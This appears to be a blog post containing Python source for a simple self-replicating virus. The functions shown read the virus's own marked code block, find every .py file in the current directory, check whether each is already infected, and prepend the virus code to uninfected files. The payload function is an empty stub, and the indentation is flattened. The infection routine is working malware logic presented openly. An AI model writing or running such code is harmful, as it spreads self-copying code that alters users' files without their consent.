import os, glob, sys, re
def getVirusFromSelf():
"getVirusFromSelf - Returns the lines of the virus in a list"
code = []
fileHandle = open(sys.argv[0], "r")
inVirus = False
while 1:
line = fileHandle.readline()
if not line: break
if re.search("^##### VIRUS BEGIN #####", line): inVirus = True
if inVirus: code.append(line)
if re.search("^##### VIRUS END #####", line): break
fileHandle.close()
return code
def getPythonList():
"getPythonList - Return a list of Python programs"
progs = glob.glob("*.py")
return progs
def readFile(filename):
"readFile - Returns a list of lines in a file"
fileHandle = open(filename, "r")
code = []
while 1:
line = fileHandle.readline()
if not line: break
code.append(line)
fileHandle.close()
return code
def isInfected(code):
"isInfected - Returns True if infected, False if not"
for line in code:
if re.search("^##### VIRUS BEGIN #####", line): return True
return False
def infectCode(progCode, virusCode):
"infectCode - Inserts the virusCode into the progCode"
code = []
if re.search("^#!", progCode[0]): code.append(progCode.pop(0))
for line in virusCode: code.append(line)
for line in progCode: code.append(line)
return code
def writeFile(filename, code):
"writeFile - Write the lines in a list of code to a filename"
fileHandle = open(filename, "w")
for line in code:
fileHandle.write(line)
fileHandle.close()
def virusPayload():
"virusPayload - Function for what the virus should do"
pass
Comments
Post a Comment